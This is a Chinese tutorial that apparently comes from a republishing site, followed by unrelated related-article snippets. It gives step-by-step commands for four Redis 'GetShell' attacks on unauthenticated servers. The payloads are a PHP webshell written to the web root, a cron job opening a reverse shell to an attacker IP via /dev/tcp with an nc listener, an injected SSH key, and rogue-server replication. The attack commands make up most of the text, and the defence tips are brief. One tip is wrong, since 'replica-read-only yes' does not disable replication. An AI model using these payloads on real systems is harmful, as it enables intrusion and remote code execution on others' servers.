Redis四種GetShell方式完整教程

Redis作為高性能內存數據庫,若未正確配置認證和訪問控制,可能被攻擊者利用實現遠程代碼執行(GetShell)。本文詳細講解四種常見的Redis GetShell方式,涵蓋原理、操作步驟及防御建議。

方式一:直接寫入Shell腳本??

??原理??

通過Redis的CONFIG SET命令修改數據庫存儲路徑和文件名,將惡意腳本寫入Web目錄,利用Web服務解析執行。

??操作步驟??

??1. 環境準備??
  • 目標Redis服務未授權訪問(綁定0.0.0.0:6379且無密碼)。
  • 已知目標Web服務路徑(如/var/www/html)。
??2. 連接Redis??

使用redis-cli連接目標Redis:

redis-cli -h 目標IP -p 6379
??3. 修改Redis配置??

通過CONFIG SET命令設置數據庫存儲路徑和文件名:

CONFIG SET dir /var/www/html  # 修改存儲路徑為Web目錄
CONFIG SET dbfilename shell.php  # 設置文件名為shell.php
??4. 寫入惡意腳本??

使用SET命令寫入PHP WebShell內容:

SET shell "<?php system($_GET['cmd']);?>"
??5. 保存配置??

執行SAVE命令將數據持久化到磁盤:

SAVE

此時/var/www/html/shell.php文件已生成,可通過瀏覽器訪問http://目標IP/shell.php?cmd=whoami驗證。

??防御建議??

  • 限制Redis訪問IP(bind 127.0.0.1)。
  • 設置強密碼(requirepass)。
  • 禁止Redis寫入系統關鍵目錄(如/var/www)。

??方式二:定時任務寫入反彈Shell??

??原理??

通過Redis的CONFIG SET修改dir/var/spool/cron/(Linux定時任務目錄),寫入反彈Shell的定時任務,觸發后連接攻擊機。

??操作步驟??

??1. 環境準備??
  • 目標Redis未授權訪問。
  • 目標系統為Linux,且Redis進程有權限寫入/var/spool/cron/
??2. 連接Redis并修改配置??
redis-cli -h 目標IP -p 6379
CONFIG SET dir /var/spool/cron/  # 修改存儲路徑為cron目錄
CONFIG SET dbfilename root      # 文件名為root(針對root用戶的cron)
??3. 寫入反彈Shell命令??

反彈Shell到攻擊機(假設攻擊機IP為192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

??注意??:

  • \n\n用于避免破壞cron文件格式。
  • 定時任務每分鐘執行一次,連接攻擊機。
??4. 保存配置??
SAVE

攻擊機監聽端口:

nc -lvvp 4444

若連接成功,可執行任意命令(如whoami)。

??防御建議??

  • 限制Redis對系統目錄的寫入權限。
  • 監控/var/spool/cron/目錄的異常修改。

??方式三:寫SSH公鑰登錄服務器??

??原理??

通過Redis寫入~/.ssh/authorized_keys文件,將攻擊者的SSH公鑰添加到目標服務器,實現免密登錄。

??操作步驟??

??1. 環境準備??
  • 目標Redis未授權訪問。
  • 目標服務器開啟SSH服務且Redis進程有權限寫入/root/.ssh/(或當前用戶目錄)。
??2. 生成SSH密鑰對??

在攻擊機上生成密鑰對(若已有可跳過):

ssh-keygen -t rsa  # 默認保存到~/.ssh/id_rsa.pub
??3. 連接Redis并修改配置??
redis-cli -h 目標IP -p 6379
CONFIG SET dir /root/.ssh/  # 修改存儲路徑為.ssh目錄
CONFIG SET dbfilename authorized_keys  # 文件名為authorized_keys
??4. 寫入公鑰??

將公鑰內容寫入Redis(需替換實際公鑰):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻擊機公鑰內容..."
??5. 保存配置??
SAVE

攻擊機直接SSH登錄目標服務器:

ssh root@目標IP

無需密碼即可登錄。

??防御建議??

  • 限制Redis對/root/.ssh/目錄的訪問。
  • 禁用Redis的SAVE命令(通過rename-command SAVE "")。

??方式四:Redis主從復制GetShell??

??原理??

利用Redis主從復制機制,誘騙目標Redis作為從節點,加載攻擊者構造的惡意RDB文件,在加載過程中執行任意代碼。

??操作步驟??

??1. 環境準備??
  • 目標Redis未授權訪問。
  • 攻擊機搭建惡意Redis服務(需編譯支持動態模塊的Redis版本)。
??2. 攻擊機生成惡意RDB文件??
  • 使用redis-rogue-server工具(需Python環境)生成包含惡意模塊的RDB文件:
    git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    cd redis-rogue-server
    pip3 install -r requirements.txt
    python3 redis-rogue-server.py --rhost 目標IP --lhost 攻擊機IP
    工具會自動生成惡意RDB文件并啟動監聽。
??3. 配置目標Redis為主從復制??

在攻擊機上執行:

redis-cli -h 目標IP -p 6379
SLAVEOF 攻擊機IP 6379  # 將目標Redis設為從節點,連接攻擊機
CONFIG SET masterauth ""  # 若主節點有密碼需配置(此處無密碼)

目標Redis會嘗試從攻擊機拉取RDB文件并加載,觸發惡意代碼執行。

??4. 獲取反彈Shell??

攻擊機監聽端口(如4444):

nc -lvvp 4444

目標Redis加載惡意模塊后,攻擊機將收到反彈Shell。

??防御建議??

  • 禁用主從復制功能(replica-read-only yes)。
  • 升級Redis至最新版本(修復已知漏洞)。

??總結與防護措施??

??方式????關鍵利用點????防御方法??
直接寫入Shell修改dirdbfilename限制寫入目錄、設置密碼、禁用高危命令
定時任務反彈Shell寫入/var/spool/cron/監控cron目錄、限制Redis權限
SSH公鑰登錄寫入~/.ssh/authorized_keys限制.ssh目錄訪問、禁用Redis寫入系統文件
主從復制GetShell加載惡意RDB文件禁用主從復制、升級Redis版本

??通用防護建議??:

  1. ??最小化暴露??:禁止Redis綁定公網IP,使用防火墻限制訪問源。
  2. ??強認證??:設置復雜密碼(requirepass)。
  3. ??定期審計??:檢查Redis配置和系統關鍵目錄(如/var/www/root/.ssh/)。
  4. ??日志監控??:記錄Redis操作日志,設置異常告警。

通過本文的詳細分析,讀者可深入理解Redis GetShell的原理及防御方法,提升系統安全性。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/90830.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/90830.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/90830.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

clock_nanosleep系統調用及示例

41. clock_nanosleep - 高精度睡眠 函數介紹 clock_nanosleep系統調用提供納秒級精度的睡眠功能&#xff0c;支持絕對時間和相對時間兩種模式&#xff0c;比傳統的nanosleep更加靈活。 函數原型 #include <time.h>int clock_nanosleep(clockid_t clock_id, int flags,con…

用了Flutter包體積增大就棄用Flutter嗎?包體積與開發效率,這兩者之間如何權衡?

是否因包體積增大而棄用 Flutter&#xff0c;本質上是 “短期成本&#xff08;包體積&#xff09;” 與 “長期價值&#xff08;跨平臺效率、體驗一致性等&#xff09;” 的權衡 。這一決策沒有絕對答案&#xff0c;需結合項目階段、用戶群體、業務需求等具體場景分析。以下從核…

80道面試經典題目

1.OSI參考模型七層網絡協議? 物理層:定義計算機、網絡設備、以及直接連接的介質、接口類型的標準,建立比特流的傳輸,用來組件物理網絡的連接。 數據鏈路層:建立邏輯連接、進行硬件地址尋址,差錯校驗、差錯恢復等功能。 網絡層:進行邏輯地址尋址,實現不同網絡之間的通…

本周大模型新動向:KV緩存壓縮、低成本高性能推理框架、多智能體協作

點擊藍字關注我們AI TIME歡迎每一位AI愛好者的加入&#xff01;01Compress Any Segment Anything Model (SAM)受SAM在零樣本分割任務上卓越表現的驅動&#xff0c;其各類變體已被廣泛應用于醫療、智能制造等場景。然而&#xff0c;SAM系列模型體量巨大&#xff0c;嚴重限制了在…

利用frp實現內網穿透功能(服務器)Linux、(內網)Windows

適用于&#xff1a; 本地電腦&#xff08;windows&#xff09;或者Linux(本篇未介紹&#xff09; 工具&#xff1a;FRP&#xff08;fast reverse proxy&#xff09; 系統&#xff1a;Linux、Windows 架構&#xff1a;x86、amd Frp版本&#xff1a;frp_0.62.1_windows_amd64準備…

結合二八定律安排整塊時間

你是不是常常感覺一天到晚忙忙碌碌&#xff0c;卻總覺得沒干成幾件“要緊事”&#xff1f;時間仿佛從指縫間溜走&#xff0c;成就感卻遲遲不來&#xff1f;其實&#xff0c;高效能人士的秘訣往往藏在最簡單的原則里。今天&#xff0c;我們就來聊聊如何巧妙運用“二八定律”&…

波形發生器AWG硬件設計方案

目錄 簡介 設計需求 設計方案 核心原理圖展示 簡介 波形發生器是一種數據信號發生器&#xff0c;在調試硬件時&#xff0c;常常需要加入一些信號&#xff0c;以觀察電路工作是否正常。用一般的信號發生器&#xff0c;不但笨重&#xff0c;而且只發一些簡單的波形&#xff…

11.Dockerfile簡介

1.是什么&#xff1f; dockerfile是用來構建鏡像的文本文件&#xff0c;是由一條條構建鏡像所需的指令和參數構成的腳本。 構建三步驟 編寫dockerfile文件docker build命令構建鏡像docker run依鏡像運行的容器實列 2.dockerfile構建過程解析 1)dockerfile內容的基礎知識 …

C# 接口(interface 定義接口的關鍵字)

目錄 使用接口案例 接口繼承 練習 定義一個接口&#xff0c;在語法中與定義一個抽象類是沒有區別的&#xff0c;但是不允許提供接口中任意成員的實現方式&#xff0c;一般接口只會包含方法 、索引器和事件的聲明&#xff0c; 不允許聲明成員的修飾符&#xff0c; public都不…

5190 - 提高:DFS序和歐拉序:樹上操作(區域修改1)

題目傳送門 時間限制 : 2 秒 內存限制 : 256 MB 有一棵點數為 N 的樹&#xff0c;以點 1 為根&#xff0c;且樹點有邊權。然后有 M 個 操作&#xff0c;分為三種&#xff1a; 操作 1 &#xff1a;把某個節點 x 的點權增加 a 。 操作 2 &#xff1a;把某個節點 x 為根的子樹中…

【Oracle】數據泵

ORACLE數據庫 數據泵 核心參數全解析 ORACLE expdp 命令使用詳解 1.ATTACH[schema_name.]job_name Schema_name 用于指定方案名,job_name 用于指定導出作業名.注意,如果使用 ATTACH 選項,在命令行除了連接字符串和 ATTACH 選項外,不能指定任何其他選項,示例如下: expdp hr/hr A…

機器學習的算法有哪些?

&#x1f31f; 歡迎來到AI奇妙世界&#xff01; &#x1f31f; 親愛的開發者朋友們&#xff0c;大家好&#xff01;&#x1f44b; 我是人工智能領域的探索者與分享者&#xff0c;很高興在CSDN與你們相遇&#xff01;&#x1f389; 在這里&#xff0c;我將持續輸出AI前沿技術、實…

【計算機網絡】OSI七層模型

OSI七層模型為什么需要OSI七層模型&#xff1f;OSI七層模型具體是什么&#xff1f;Layer7&#xff1a;應用層&#xff08;Application Layer&#xff09;Layer6&#xff1a;表示層&#xff08;Presentation Layer&#xff09;Layer5&#xff1a;會話層&#xff08;Session Laye…

RS485轉Profinet網關配置指南:高效啟動JRT激光測距傳感器測量模式

RS485轉Profinet網關配置指南&#xff1a;高效啟動JRT激光測距傳感器測量模式RS485轉Profinet網關&#xff1a;讓JRT激光測距傳感器高效開啟測量模式在工業自動化場景中&#xff0c;設備間的高效通信是實現精準控制的關鍵。RS485轉Profinet網關作為連接傳統RS485設備與現代Prof…

「日拱一碼」040 機器學習-不同模型可解釋方法

目錄 K最近鄰(KNN) - 基于距離的模型 決策邊界可視化 查看特定樣本的最近鄰 ?隨機森林(RF) - 樹模型 feature_importances_ SHAP值分析 可視化單棵樹 多層感知器(MLP) - 神經網絡 部分依賴圖 LIME解釋器 權重可視化 支持向量回歸(SVR) - 核方法 支持向量可視化 部…

編程與數學 03-002 計算機網絡 09_傳輸層功能

編程與數學 03-002 計算機網絡 09_傳輸層功能一、傳輸層的作用&#xff08;一&#xff09;進程間通信&#xff08;二&#xff09;提供可靠傳輸&#xff08;三&#xff09;復用與分用二、TCP協議&#xff08;一&#xff09;TCP的連接建立與釋放&#xff08;二&#xff09;TCP的可…

14. Web服務器-Nginx-工作原理

文章目錄前言一、簡介二、工作原理1. 多進程架構2. 事件驅動模型3. 模塊化設計三、工作流程1. 啟動階段2. 等待連接3. 請求處理階段4. 響應構造與輸出5. 連接關閉前言 Nginx? Nginx&#xff08;發音為“Engine-X”&#xff09;是一款高性能的開源Web服務器軟件&#xff0c;同…

AP-0316:集 USB 即插即用、智能降噪于一體的多功能 AI 聲卡,重新定義清晰語音交互

AP-0316突發噪音和抗風噪測試還在為語音設備的噪音刺耳、連接復雜、功放適配麻煩而頭疼&#xff1f;AP-0316 多功能 AI 降噪消回音 USB 聲卡來了 —— 以 “USB 即插即用 自帶功放 智能降噪 場景適配” 四大核心優勢&#xff0c;將專業級語音處理技術變得簡單易用&#xff0…

Baumer工業相機堡盟工業相機如何通過YoloV8深度學習模型實現衛星圖像識別(C#代碼,UI界面版)

Baumer工業相機堡盟工業相機如何通過YoloV8深度學習模型實現衛星圖像識別&#xff08;C#代碼&#xff0c;UI界面版&#xff09;工業相機使用YoloV8模型實現水下魚類識別工業相機通過YoloV8模型實現衛星圖像識別的技術背景在相機SDK中獲取圖像轉換圖像的代碼分析工業相機圖像轉換…

某d的評論爬蟲學習

本教程僅用于技術研究&#xff0c;請確保遵守目標網站的服務條款。實際使用前應獲得官方授權&#xff0c;避免高頻請求影響服務器&#xff0c;否則可能承擔法律責任。此腳本僅攔截公開評論接口&#xff0c;不涉及用戶私密數據。請勿修改代碼監聽其他請求。分享一下爬某抖評論的…